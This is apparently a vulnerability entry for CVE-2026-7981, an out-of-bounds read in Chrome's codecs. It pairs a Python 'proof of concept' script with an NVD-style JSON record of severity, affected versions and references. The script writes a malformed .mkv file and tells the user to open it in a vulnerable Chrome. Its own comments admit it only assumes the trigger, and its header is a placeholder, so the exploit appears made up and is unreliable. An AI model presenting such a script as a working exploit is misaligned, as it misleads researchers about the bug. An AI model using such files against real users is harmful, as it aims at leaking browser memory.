CVE-2026-7981

import struct # Proof of Concept for CVE-2026-7981 # This script generates a malformed media file to trigger the Out of Bounds Read in Chrome Codecs. def generate_malformed_file(filename): with open(filename, 'wb') as f: # Generic file header (simplified) f.write(b'MALFORMED_CODEC_HEADER') # Writing data that triggers the specific parsing logic # Assuming the vulnerability is triggered by an invalid size field in the codec header # causing the parser to read beyond the allocated buffer. invalid_size = 0xFFFFFFFF # Max uint32 to force out of bounds calculation f.write(struct.pack('<I', invalid_size)) # Padding f.write(b'A' * 100) print(f"[+] Generated {filename}. Open this file in a vulnerable Chrome version.") if __name__ == "__main__": generate_malformed_file("cve_2026_7981_poc.mkv")

{"cve": {"id": "CVE-2026-7981", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:48.963", "lastModified": "2026-05-07T14:38:45.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in Codecs in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to obtain potentially sensitive information from process memory via a malicious file. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/497926602", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}